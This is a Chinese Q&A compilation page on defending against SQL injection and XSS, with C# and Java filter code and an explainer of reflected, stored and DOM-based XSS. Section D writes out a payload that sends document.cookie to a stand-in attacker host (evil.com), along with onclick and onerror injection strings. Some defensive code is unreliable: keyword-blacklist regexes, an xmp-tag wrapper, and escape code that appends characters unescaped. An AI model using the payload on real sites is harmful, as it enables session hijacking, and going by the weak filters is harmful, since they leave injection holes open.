js防腳本注入
A. 用js寫一個防sql注入的 函數,能起到效果嗎
防止sql注入攻擊,在資料庫方面,針對每一個表的增刪改,寫存儲過程,程序主要靠存儲過程操作數據。 在代碼中,個別特殊需要數據查詢的,如果不能通過存儲過程,那就盡量用傳參的方式,盡量不要拼接sql。 如果非要拼接,要對拼接字元串進行處理,Tools的如下字元串處理方法可以防止注入攻擊: /// /// 格式化文本(防止SQL注入) /// /// /// public static string AntiSQL(string html) { Regex regex一 = new Regex(@"<script[\s\S]+", RegexOptions.IgnoreCase); Regex regex二 = new Regex(@" href *= *[\s\S]*script *:", RegexOptions.IgnoreCase); Regex regex三 = new Regex(@" on[\s\S]*=", RegexOptions.IgnoreCase); Regex regex四 = new Regex(@"<iframe[\s\S]+", RegexOptions.IgnoreCase); Regex regex5 = new Regex(@"<frameset[\s\S]+", RegexOptions.IgnoreCase); Regex regex一0 = new Regex(@"select", RegexOptions.IgnoreCase); Regex regex一一 = new Regex(@"update", RegexOptions.IgnoreCase); Regex regex一二 = new Regex(@"delete", RegexOptions.IgnoreCase); html = regex一.Replace(html, ""); //過濾標記 html = regex二.Replace(html, ""); //過濾href=javascript: () 屬性 html = regex三.Replace(html, " _disibledevent="); //過濾其它控制項的on...事件 html = regex四.Replace(html, ""); //過濾iframe html = regex一0.Replace(html, "s_elect"); html = regex一一.Replace(html, "u_pudate"); html = regex一二.Replace(html, "d_elete"); html = html.Replace("'", "』"); html = html.Replace(" ", " "); return html;
B. js腳本注入
你說的是 防止xss腳本注入攻擊吧。要麼選擇後端直接過濾掉這種類似的<script>alert()</script>字元串,但是這對客戶而言又不太友好。我用的最直接的方法,取得這樣的數據在前端顯示的時候用
vara="<xmp>"+"<script>alert()</script>"+"</xmp>";
再把a加到你要展示的地方,瀏覽器就不會識別它成js代碼去執行了。
僅做參考,按你的實際情況做選擇吧
C. java web如何防止html,js注入
在java Web體系中,可以寫自定義標簽,過濾用戶輸入,也可以寫一個filter過濾器。比如說自定義標簽。
開發步驟:
1 寫一個標簽處理類
2在/WEB-INF/目錄下,寫一個*.tld文件,目的是讓Web容器知道自定義標簽和標簽處理類的對應關系
3 在JSP頁面中,通過<%@taglib%>指令引用標簽庫.
4 部署web應用,訪問simple.jsp即可
其中,標簽處理類可以這樣寫,轉義大於號,小於號等特殊符號。
packagecn.itcast.web.jsp.tag;
importjava.io.IOException;
importjava.io.StringWriter;
importjavax.servlet.jsp.JspException;
importjavax.servlet.jsp.PageContext;
importjavax.servlet.jsp.tagext.JspFragment;
importjavax.servlet.jsp.tagext.SimpleTagSupport;
//<simple:filter>標簽處理類
{
publicvoiddoTag()throwsJspException,IOException{
JspFragmentjspFragment=this.getJspBody();
StringWriterwriter=newStringWriter();
jspFragment.invoke(writer);
Stringtemp=writer.getBuffer().toString();
//結果必定是轉義後的字元串
temp=filter(temp);
PageContextpageContext=(PageContext)this.getJspContext();
pageContext.getOut().write(temp);
}
publicStringfilter(Stringmessage){
if(message==null)
return(null);
charcontent[]=newchar[message.length()];
message.getChars(0,message.length(),content,0);
StringBufferresult=newStringBuffer(content.length+50);
for(inti=0;i<content.length;i++){
switch(content[i]){
case'<':
result.append("<");
break;
case'>':
result.append(">");
break;
case'&':
result.append("&");
break;
case'"':
result.append(""");
break;
default:
result.append(content[i]);
}
}
return(result.toString());
}
}
D. 什麼是JavaScript注入及簡單的防禦方法
很多網站都有私信或者留言板功能。登錄用戶可以發表評論或者給其他用戶(包括管理員)發送私信。一個最簡單的模擬表單如下:
<form action="sendmessage.php" method="post'">
<textarea name="message"> </textarea>
<input type="submit" value="send" />
</form>
當用戶點擊發送時,這條消息會被保存在資料庫中指定的數據表中,另一個用戶當打開這條消息的時候將看到發送的內容。但是,如果一個惡意攻擊者發送的內容包含了一些javascript代碼,這些代碼用於偷取敏感的cookie信息。當用戶打開看到這條消息的時候,惡意的javascript代碼就會得到執行,造成敏感cookie信息泄漏。攻擊者可以利用獲得這些cookie信息進行session hijacking會話劫持,直接以合法用戶的身份登錄其他用戶的賬戶。
惡意攻擊者可以在消息框中加入一下javascript代碼:
?
var url = "http://www.evil.com/index.php"; //攻擊者控制的伺服器
var postStr = "ck=" + document.cookie;
var ajax = null;
if(window.XMLHttpRequest())
{
ajax = new XMLHttpRequest();
}
else if(window.ActiveXObject)
{
ajax = new ActiveXObject("Microsoft.XMLHttp");
}
else
{
return;
}
ajax.open("POST", url, true);
ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajax.send(postStr);
ajax.onreadystatechange = function()
{
if(ajax.readyState == 4 && ajax.status == 200)
{
//alert("Done!");
}
}
通過AJAX非同步請求,將被攻擊者的敏感cookie信息發送給了攻擊者控制的伺服器。攻擊者隨後即可利用這些cookie信息以」合法」用戶的身份進行登錄操作。
這里首先要理清楚幾個重要的問題:
1. cookie的作用
Cookie,有時也用其復數形式Cookies,指某些網站為了辨別用戶身份、進行session跟蹤而儲存在用戶本地終端上的數據(通常經過加密)。定義於RFC2109(已廢棄),最新取代的規范是RFC2965。
也就是說,cookie是用戶和伺服器之間的橋梁。伺服器可以使用session來保存用戶的身份信息(ID,購物車等),但是需要用戶在訪問網頁(發送HTTP數據稿野困包)的時候附帶上相應的cookie,通過cookie中的特定值來識別sessionID,才能把單獨用戶和單獨的session聯系起來。cookie是有狀態HTTP交互的一種重要機制。
2. 瀏覽器的同源策略
在進行cookie竊取的時候,攻擊者偷取的cookie是什麼,是全部cookie,還是當前這個網站的cookie?要解決這鍵念個問題,我們要先了解一些瀏覽器的同源策略。
同源策略,它是由Netscape提出的一個著名的安全策略。
現在所有支持JavaScript 的瀏覽器都會使用這個策略。
所謂同源是指,域名,協議,埠相同。
當一個瀏覽器的兩個tab頁中分別打開來 網路和谷歌的頁面
當瀏覽器的網路tab頁執行一個腳本的時候會檢查這個腳本是屬於哪個頁面的,
即檢查是否同源,只有和網路同源的腳本才會被執行。
同源策略(Same Origin Policy)是一種約定,它是瀏覽器最核心也是最基本的安全功能,如果缺少了同源策略,則瀏覽器的正常功能可能都會受到影響。可以說web是構建在同源策略的基礎之上的,瀏覽器只是針對同源策略的一種實現。
瀏覽器的同源策略限制了來自不同源的」document」或腳本,對當前」document」的讀取或者設置某些屬性。為了不讓瀏覽器的頁面行為發生混亂,瀏覽器提出了」Origin」(源)這以概念,來自不同的Origin的對象無法互相干擾。
因為同源策略的原因,也脊磨就導致了我們的XSS Payload(XSS攻擊代碼)必須在我們希望攻擊的同一個域下觸發。例如攻擊者如果想竊取在www.a.com下的cookie,那就必須在www.a.com這個域(可以是不同頁面,但要保證是同一個域)下的的某一個頁面放置XSS代碼,可以是存儲型,也可以是反射型或DOM Baesd型的。
4. XSS攻擊的種類
對XSS的分類沒有明確的標准,但業界普遍將XSS攻擊分為三類。反射型XSS(non-persistent XSS), 存儲型XSS(persistent XSS), DOM Based XSS
4.1 非持久性跨站點腳本攻擊
非持久性XSS也稱為反射型跨站漏洞。它是最常見的類型的XSS。漏洞產生的原因是攻擊者注入的數據反映在響應中。如果你看了我們上面所示的例子,第一個例子是一個非持久的XSS攻擊。一個典型的非持久性XSS包含一個帶XSS攻擊向量的鏈接(即每次攻擊需要用戶的點擊)。
4.2 持久的跨站點腳本攻擊
持久型跨站點腳本也稱為存儲跨站點腳本。它一般發生在XSS攻擊向量(一般指XSS攻擊代碼)存儲在網站資料庫,當一個頁面被用戶打開的時候執行。每當用戶打開瀏覽器,腳本執行。在上面的示例中,第二個例子就展示了一個持久的XSS攻擊。持久的XSS相比非持久性XSS攻擊危害性更大,因為每當用戶打開頁面,查看內容時腳本將自動執行。谷歌的orkut曾經就遭受到XSS。
4.3 基於dom的跨站點腳本攻擊
基於DOM的XSS有時也稱為type0 XSS。當用戶能夠通過交互修改瀏覽器頁面中的DOM(Document Object Model)並顯示在瀏覽器上時,就有可能產生這種漏洞,從效果上來說它也是反射型XSS。
通過修改頁面的DOM節點形成的XSS,稱之為DOM Based XSS。
?
1
2
3
4
5
6
7
8
9
10
<script>
function test()
{
var str = document.getElementById("text").value;
document.getElementById("t").innerHTML = "<a href='" + str + "' >testLink</a>";
}
</script>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />
在這個場景中,代碼修改了頁面的DOM節點,通過innerHTML把一段用戶數據當作HTML寫入到頁面中,這就造成了DOM Based XSS
' onclick=alert(/xss/) '
輸入後,頁面代碼就變成了:
<a href='' onclick=alert(/xss/) '' >testLink</a>
點擊這個新生成的鏈接,腳本將被執行。
實際上,這里還有另外一種利用方式—除了構造一個新事件外,還可以選擇閉合掉<a>標簽,並插入一個新的HTML標簽:
'><img src=# onerror=alert(/xss2/) /><'
頁面代碼變成了:
<a href=''><img src=# onerror=alert(/xss2/) /><'' >testLink</a>
5. XSS漏洞產生的原因
跨站點腳本的主要原因是程序猿對用戶的信任。開發人員輕松地認為用戶永遠不會試圖執行什麼出格的事情,所以他們創建應用程序,卻沒有使用任何額外的代碼來過濾用戶輸入以阻止任何惡意活動。另一個原因是,這種攻擊有許多變體,用製造出一種行之有效的XSS過濾器是一件比較困難的事情。
但是這只是相對的,對用戶輸入數據的」編碼」和」過濾」在任何時候都是很重要的,我們必須採取一些針對性的手段對其進行防禦。
E. 如何防止表單提交過來的惡意JS腳本和SQL注入
1、禁止外部提交數據2、禁止未命名變數使用3、精確獲取參數值類型,如有位數限制,再精確位數個數,其它全部輸出自己寫的錯誤提示以上3條足以在程序上實現防注入(不能防止伺服器或資料庫本身注入),具體怎麼寫是根據具體是哪種語言來寫的,可以網路那個語言的這三種方式要怎麼寫。